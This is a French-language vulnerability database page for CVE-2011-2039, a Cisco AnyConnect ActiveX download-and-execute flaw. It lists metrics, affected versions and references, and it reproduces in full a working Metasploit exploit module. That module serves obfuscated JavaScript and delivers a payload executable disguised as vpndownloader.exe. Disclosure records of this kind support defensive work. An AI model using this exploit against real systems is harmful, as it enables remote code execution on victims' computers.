CVE-2011-2039 : Détail

CVE-2011-2039

A03-Injection
85.34%V4
Network
2011-06-02
17h00 +00:00
2017-08-28
10h57 +00:00
CVE.org
NVD
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Descriptions du CVE

The helper application in Cisco AnyConnect Secure Mobility Client (formerly AnyConnect VPN Client) before 2.3.185 on Windows, and on Windows Mobile, downloads a client executable file (vpndownloader.exe) without verifying its authenticity, which allows remote attackers to execute arbitrary code via the url property to a certain ActiveX control in vpnweb.ocx, aka Bug ID CSCsy00904.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-20 Improper Input Validation
The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 7.6 AV:N/AC:H/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 17366

Date de publication : 2011-06-05 22h00 +00:00
Auteur : Metasploit
EDB Vérifié : Yes

## # $Id: cisco_anyconnect_exec.rb 12872 2011-06-06 20:15:51Z bannedit $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::EXE def initialize(info = {}) super(update_info(info, 'Name' => 'Cisco AnyConnect VPN Client ActiveX URL Property Download and Execute', 'Description' => %q{ This module exploits a vulnerability in the Cisco AnyConnect VPN client vpnweb.ocx ActiveX control. This control is typically used to install the VPN client. An attacker can set the 'url' property which is where the control tries to locate the files needed to install the client. The control tries to download two files from the site specified within the 'url' property. One of these files it will be stored in a temporary directory and executed. }, 'License' => MSF_LICENSE, 'Author' => [ 'bannedit' ], 'Version' => '$Revision: 12872 $', 'References' => [ [ 'CVE', '2011-2039' ], [ 'OSVDB', '72714'], [ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=909' ], [ 'URL', 'http://www.cisco.com/en/US/products/products_security_advisory09186a0080b80123.shtml'], ], 'Platform' => 'win', 'Targets' => [ [ 'Automatic', { 'Arch' => ARCH_X86 } ], ], 'DisclosureDate' => 'Jun 01 2011', 'DefaultTarget' => 0)) register_options( [ OptString.new('URIPATH', [ true, "The URI to use.", "/" ]) ], self.class) end def on_request_uri(cli, request) if request.uri.match(/vpndownloader\.exe/) exe = generate_payload_exe({:code => payload.encoded}) print_status("Client requested: #{request.uri}. Sending vpndownloader.exe") send_response(cli, exe, { 'Content-Type' => 'application/octet-stream' }) select(nil, nil, nil, 5) # let the file download handler(cli) return end if request.uri.match(/updates\.txt/) print_status("Client requested: #{request.uri}. Sending updates.txt") updates = rand_text_alpha((rand(500) + 1)) + "\n" + rand_text_alpha((rand(500) + 1)) send_response(cli, updates, { 'Content-Type' => 'text/plain' }) return end url = get_uri(cli) dir = rand_text_alpha((rand(40) + 1)) js = ::Rex::Exploitation::JSObfu.new %Q| var x = document.createElement("object"); x.setAttribute("classid", "clsid:55963676-2F5E-4BAF-AC28-CF26AA587566"); x.url = "#{url}/#{dir}/"; | js.obfuscate html = "<html>\n\t<script>#{js}\t</script>\n</html>" print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...") send_response_html(cli, html) end end

Products Mentioned

Configuraton 0

Cisco>>Anyconnect_secure_mobility_client >> Version To (including) 2.3

Cisco>>Anyconnect_secure_mobility_client >> Version 2.0

Cisco>>Anyconnect_secure_mobility_client >> Version 2.1

Cisco>>Anyconnect_secure_mobility_client >> Version 2.2

Cisco>>Anyconnect_secure_mobility_client >> Version 2.2.128

Cisco>>Anyconnect_secure_mobility_client >> Version 2.2.133

Cisco>>Anyconnect_secure_mobility_client >> Version 2.2.136

Cisco>>Anyconnect_secure_mobility_client >> Version 2.2.140

Microsoft>>Windows >> Version *

Microsoft>>Windows_mobile >> Version *

Références

http://osvdb.org/72714
Tags : vdb-entry, x_refsource_OSVDB
http://securityreason.com/securityalert/8272
Tags : third-party-advisory, x_refsource_SREASON
http://www.securitytracker.com/id?1025591
Tags : vdb-entry, x_refsource_SECTRACK
http://www.kb.cert.org/vuls/id/490097
Tags : third-party-advisory, x_refsource_CERT-VN
http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=909
Tags : third-party-advisory, x_refsource_IDEFENSE